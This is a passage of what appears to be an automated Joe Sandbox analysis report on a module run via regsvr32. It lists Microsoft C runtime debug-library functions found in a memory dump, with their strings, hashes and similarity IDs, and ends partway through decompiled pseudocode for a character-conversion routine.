Instruction Fuzzy Hash: 3BC12D72A0C7C686E7B19B64E8457BEB7E4F384785F604025DAC887AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2
_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction ID: caaad020489782614700f882d8602b34381ead5b625f1b09b5848be00580b1cf
Opcode Fuzzy Hash: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction Fuzzy Hash: 28617C72A1C646CAE7909B25EC4076E72E1F380765F604725E6ED47AF9DB7EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

Module: , xrefs: 000007FEF9D2B192
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
(*_errno()), xrefs: 000007FEF9D2B2C7
__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
..., xrefs: 000007FEF9D2B167
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction ID: 47630d5eafba837dbe703c3de9865bf662ca48ff4c989782bbe983e1f30135bf
Opcode Fuzzy Hash: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction Fuzzy Hash: 7851C476608AC591E774DB18F8803EEB3E1F788394F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction ID: db55a7b1c5e8f8ba017cd25dadef4e5d7f369c86b420bd695ab78b9edef6402a
Opcode Fuzzy Hash: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction Fuzzy Hash: 49F1D87260CBC186E7B18B25E8947AEB7E4F384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction ID: e049fe60bfe8b909c44bc6b291fed8ca56badbc40bca4273ec712473172458ea
Opcode Fuzzy Hash: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction Fuzzy Hash: 72617B71A1C6468AE7909B28EC4176E73E1F780354F608225E6DE57AF5D77EE440CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction ID: a54d4eac887ae6c515e29e2b1085f50a353430ba1ba5378d93a4f051e541eccc
Opcode Fuzzy Hash: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction Fuzzy Hash: 38515C71A186468AE7909B29EC8176E73E2F780758F608225E6DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction ID: 35246ecaaba514364cbfc4328619620b6524a9f29049ac5612c0b139108759f7
Opcode Fuzzy Hash: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction Fuzzy Hash: 41C10D72A0CAC286E7B19B55E8407AFB7E0F384346F600125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction ID: 6d338823bc0f2b3e781b71aef6a49b7720da2244df946e2498ce1ac2f83d5b49
Opcode Fuzzy Hash: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction Fuzzy Hash: BE023F32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction ID: 3e7729e9fa2df8fbd66d26b0c41d9f273e3b14a95de5485bb8cc9613adf332ea
Opcode Fuzzy Hash: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction Fuzzy Hash: 48F1E972A0CAC18AE7A08B55E8407AFB7E0F385746F600126E6CD87AA9DB7DD444CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
Buffer is too small, xrefs: 000007FEF9D31934
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction ID: aecfb8002ddf48ca923cbb39b51a8433fc62f52c2bad17b92f015e95501d1b82
Opcode Fuzzy Hash: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction Fuzzy Hash: 16C15B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA9DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
Buffer is too small, xrefs: 000007FEF9D2D775
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction ID: 2d2c21a115c33e05293010ad7c3501076a31da08f4abba68164bfd8b1e70ad26
Opcode Fuzzy Hash: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction Fuzzy Hash: 9EC14D3190CB8A85EBA08B28E84436EA3E0F386794F614535D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
